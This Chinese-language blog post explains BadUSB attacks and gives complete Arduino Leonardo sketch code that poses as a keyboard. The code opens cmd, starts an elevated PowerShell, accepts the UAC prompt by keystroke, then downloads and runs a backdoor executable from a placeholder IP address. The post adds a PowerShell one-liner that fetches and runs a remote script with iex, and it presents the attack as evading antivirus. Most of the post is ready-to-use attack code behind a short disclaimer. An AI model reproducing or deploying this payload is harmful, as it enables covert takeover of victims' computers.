BadUSB其实原理就是用开发板模拟键盘,然后键入各种命令
具体的原理,可以移步腾讯安全应急响应中心 https://security.tencent.com/index.php/blog/msg/74
我手里刚好有一个自带USB接口的Arduino Leonardo开发板(只要是支持Keyboard的板子应该都可以),所以就拿来试试
我根据上面的原理,通过模拟win+R 启动CMD
然后在cmd中,以管理员身份启动PowerShell
使用PowerShell下载后门程序及运行
因为BadUSB利用的是USB端口在设计时就有的缺陷,所以整个感染过程,基本没有杀毒软件能够主动防御
杀毒软件能拦截的只有后门程序,但是对BadUSB它也是无可奈何的
下面就直接贴代码了
#include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(1000); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.println("cmd"); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(1000); Keyboard.press(KEY_LEFT_ARROW); Keyboard.release(KEY_LEFT_ARROW); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(5000); Keyboard.println("$P = new-object system.net.webclient"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("$P.downloadfile('HTTP://xxx.xxx.xxx.xxx/111.EXE','111.EXE');start-process 111.EXE;exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); } void loop() { // put your main code here, to run repeatedly: }
程序当中的延时是很有必要的,如果是电脑反应慢,还没打开,BadUSB就进行了输入,那么CMD肯定无法接收到输入的命令
尤其是begin时的延迟,建议调大。
当然也可以执行远程PSL脚本,命令如下
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://url')"
至于更多玩法。。。大家自己脑补吧
本文可能存在攻击性,请勿用于非法用途。个人兴趣研究完全没问题,一切责任与本人无关,如有不足的地方希望指点,谢谢。